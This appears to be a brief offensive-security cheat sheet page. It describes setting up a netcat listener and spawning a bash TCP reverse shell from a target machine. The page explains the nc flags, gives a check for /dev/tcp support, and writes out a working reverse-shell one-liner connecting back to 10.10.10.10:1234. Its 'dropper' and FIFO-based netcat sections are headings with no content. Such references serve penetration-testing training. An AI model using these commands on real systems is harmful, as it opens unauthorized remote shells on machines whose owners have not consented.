BASH

OCO

#setup listener
root@oco:~$ nc -lvnp {listeningPort}
 listening on [any] {listeningPort} ...

 * the -l represents listening mode; it waits for a connection from the target.
   the -v represents verbose mode
   the -n disables DNS resolution; this speeds up the connection.
   the -p {listeningPort} represents the port number to listen on
   
 * Netcat listens on all interfaces (0.0.0.0) by default

TARGET

BASH TCP REVERSE SHELL

#check if bash /dev/tcp is supported
root@target:~$ bash -c 'echo >/dev/tcp/127.0.0.1/80'
 * if /dev/tcp is supported, there should be no output or a connection error
 * if an error "No such file or directory" is displayed, it confirms that Bash was 
   compiled without /dev/tcp support
    - use the alternative method

root@target:~$ bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'

DROPPER VERSION

this version wraps the command inside a script file, which can be uploaded or placed on the target, then run whenever needed

TARGET: FIFO-BASED NETCAT REVERSE SHELL

SCRIPT

Last updated